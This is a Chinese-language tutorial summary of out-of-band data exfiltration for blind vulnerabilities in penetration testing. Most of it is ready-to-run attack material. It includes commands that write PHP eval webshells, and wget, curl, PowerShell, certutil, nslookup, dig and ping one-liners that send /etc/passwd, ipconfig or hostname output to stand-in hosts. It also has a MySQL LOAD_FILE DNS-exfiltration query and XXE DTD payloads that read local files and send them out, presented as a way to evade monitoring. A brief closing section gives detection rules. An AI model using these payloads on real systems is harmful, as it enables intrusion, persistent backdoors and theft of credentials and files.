带外通道技术(OOB)总结
字数 1264 2025-08-18 11:38:28
带外通道技术(OOB)全面教学文档
一、OOB技术概述
带外通道技术(OOB, Out-of-Band)是一种在渗透测试中用于处理无回显漏洞的技术手段。当攻击者遇到关闭回显的漏洞(如XXE盲注、SQL盲注、反序列化无回显等)时,OOB技术提供了一种通过其他通道获取数据的方法。
核心原理
- 利用脆弱实体生成带外的TCP/UDP/ICMP请求
- 通过这些请求提取数据
- 能够逃避监控、绕过防火墙并更好地隐藏攻击行为
二、可回显漏洞利用
1. 注入漏洞(OWASP TOP 10)
- 联合查询
- 报错注入
- 盲注直接利用
2. XXE漏洞
- 直接引用DTD外部实体声明
- 常见利用方式:
- 读取任意文件
- 执行系统命令
- 探测内网端口
- 攻击内网网站
3. 命令执行&代码执行
代码执行
- PHP: eval、preg_replace + /e模式、assert
- Javascript: eval
- Vbscript: Execute、Eval
- Python: exec
- 直接写入webshell
命令执行
Windows:
-
信息收集
net view # 获取当前组的计算机名 net view /domain # 查看所有域 net user # 查看用户 -
读取文件
dir /s/a-d/b d:*.php # 查找所有php文件位置 -
文件写入
echo ^<^?php @eval^(^$^_POST[value]^)^?^> > D:\phpStudy\PHPTutorial\WWW\shell.php -
使用msf等后门
Linux:
-
常见函数:
- system、exec、assert、shell_exec、passthru、popen、proc_popen、escapeshellcmd、pcntl_exec
-
特殊符号:
- |、输入输出/重定向、通配符
-
敏感数据获取
echo PD9waHAgcGhwaW5mbygpOz8+ | base64 -d > shell.php -
DNS等持续性后门
三、无回显OOB技术
1. HTTP通道
Windows:
-
使用curl上传文件:
curl -T {path to file} ftp://xxx.xxx.xxx.xxx --user {username}:{password} -
使用wget发送数据:
wget -d --header="User-Agent: $(cat /etc/passwd|tail -n 1)" http://example.com/1.php -
PowerShell发送数据:
ipconfig > temp && certutil -f -encodehex temp output.hex 12 && set /p MYVAR=<output.hex && set FINAL="http://dnslog:9000/!MYVAR!" && powershell Invoke-WebRequest !FINAL!
Linux:
- 使用wget发送POST请求:
wget --post-data exfil='cat /etc/passwd' http://example.com
2. DNS通道
原理:
- 利用DNS解析过程传输数据
- 将数据放在子域名中,通过DNS查询记录获取
SQL盲注利用:
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.example.com\\test'));
条件:
- MySQL中secure_file_priv=""或指定路径
- MySQL 5.5.34及以下版本
XXE利用:
-
创建DTD文件:
<!ENTITY % data SYSTEM "file:///etc/passwd"> <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://ip:9000/%data;'>"> -
加载外部实体的XML:
<?xml version="1.0" ?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY % sp SYSTEM "http://ip:9000/linux.dtd"> %sp; %param1; ]> <r>&exfil;</r>
Windows数据提取:
cmd /v /c "hostname > temp && certutil -encode temp temp2 && findstr /L /V "CERTIFICATE" temp2 > temp3 && set /p MYVAR=<temp3 && set FINAL=!MYVAR!.example.com && nslookup !FINAL!"
Linux数据提取:
var=11111 && for b in $(ifconfig|xxd -p); do var=$((var+1)) && dig $var.$b.example.com; done
3. ICMP通道
ICMP报文结构:
- 类型:0表示请求,8表示响应
- 代码:与类型共同标识ICMP报文详细类型
- 检验和:对整个ICMP数据报的校验
- 标识:标识ICMP进程
- 序列号:每次请求递增
- 选项数据:可存放任何数据,长度受MTU限制
Windows利用:
ipconfig > output.txt && powershell $text=Get-Content output.txt;$ICMPClient = New-Object System.Net.NetworkInformation.Ping;$PingOptions = New-Object System.Net.NetworkInformation.PingOptions;$PingOptions.DontFragment = $True;$sendbytes = ([text.encoding]::ASCII).GetBytes($text);$ICMPClient.Send('ip/dns',60 * 1000, $sendbytes, $PingOptions);
Linux利用:
cat /etc/passwd | xxd -p -c 16 | while read exfil; do ping -p $exfil -c 1 192.168.1.1;done
数据提取:
tcpdump 'icmp and src host 192.168.1.130' -w icmp.pcap
echo "0x$(tshark -n -q -r icmp.pcap -T fields -e data.data | tr -d '\n' | tr -d ':')" | xxd -r -p
四、检测与防御
1. DNS隧道检测
- 载荷分析:检测主机名超过50个字符的DNS请求
- 流量监测:检测DNS流量变化和速率
- 类型检测:关注TXT类型的DNS报文
- 编码检测:识别Base64、Binary、Hex等编码特征
2. ICMP隧道防御
- 完全禁止ping请求
- 解析包体内容,检测非标准data内容
3. HTTP注入检测
- Kibana规则示例:
uri:"select" OR uri:"load_file" OR data:"select" OR data:"load_file" OR cookie:"select"
4. XXE检测
- Kibana规则示例:
data:("xml version" AND entity AND system AND "file") # 任意文件读取 data:("xml version" AND entity AND system AND expect) # 命令执行 data:("xml version" AND entity AND system AND http) # 端口探测